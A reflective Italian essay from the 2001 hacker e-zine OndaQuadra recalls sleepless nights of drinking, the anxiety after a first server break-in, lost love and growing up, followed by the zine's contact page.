| CERTE N0TTi [Screener_it] 0x28/0x29 |
+-------------------------------------------------------------------------------+

Certe notti le passi in bianco a dirti "MAI PIU'",
magari attaccato al
cesso che vomiti anche l'anima alle 3 di notte.. Poi
ci pensi e sai
benissimo che è un "Mai più" che vale solo fino alla
prossima serata con gli
amici.
Certe notti le ricordi per tutta la vita, come
quella del primo hacking.
Lo sguardo fisso al soffitto con il terrore di avere
sbagliato qualcosa, con
la paura di aver lasciato qualche log. Con la paura
che la polizia bussi
alla tua porta e ti porti via da tutto il tuo mondo.
E con il pensiero fisso
a quel povero admin che magari per colpa tua rischia
il posto. Ma ormai la
cazzata l'hai fatta. O forse non è una cazzata. No,
non devi farlo più. E
sai benissimo che già il giorno dopo cercherai un
altro server.
Certe notti le passi attaccato al cellulare, facendo
sempre lo stesso
numero, sentendo sempre la stessa voce "Omnitel,
l'utente da lei
desiderato..". Vorresti che fosse la voce di lei che
ti dice "Scusa, mi sono
sbagliata a mollarti.." o speri che era tutto uno
scherzo.
Certe notti le trascorri passeggiando per città che
sono a 10.000 km da casa
tua e che sai benissimo che non vedrai mai più,
magari con vicino un amico
con cui parli di cosa che non diresti mai a nessun
altro. Ma quel momento te
le fanno dire. Magari è anche l'alcool che hai
mandato giù spacciandoti per
un maggiorenne in un pub inglese.
Certe notti le passi in un letto con il lettore MP3
che spara nelle tue
orecchie il cd di un gruppo che conosci solo tu e
che sembra abbia scritto
quelle canzoni quando era nella tua situazione. Le
alzi fino a che non ti
pulsa la testa in un silenzio che sà d'irreale, di
falso.
Eppure quelle sono le notti migliori della tua vita.
Non lo sai in quel
momento, lo capisci a distanza di tempo. Quando
ripensi a quando avevi meno
anni e non dovevi rispondere delle tue
responsabilità. Quando pensavi
"Quando sarò grande..". E poi ti accorgi che sei
grande e ti accorgi che sei
diventato quello che da bambino odiavi. Quello che
da bambino prendevi in
giro. Lo vedevi passare e facevi le risate con gli
amici.
E poi la notte ci pensavi "Io non sarò mai come
quello lì. Avrò soldi,
donne, farò un lavoro che mi piace...". Cazzo se
pensavi stronzate da
bambino !!


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [C0NTATTi] #03 - 17/09/2001 |
| D0VE TR0VARCi [oq ~ staff] 0x29/0x29 |
+-------------------------------------------------------------------------------+

Sul Web:
http://ondaquadra.cjb.net
http://www.hackerzine.org
http://www.bismark.it

Mail:
mail@ondaquadra.cjb.net

Gli articoli mandateli qui:
articoli@ondaquadra.cjb.net

IRC
irc.azzurranet.org
#ondaquadra
#hackmaniaci

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT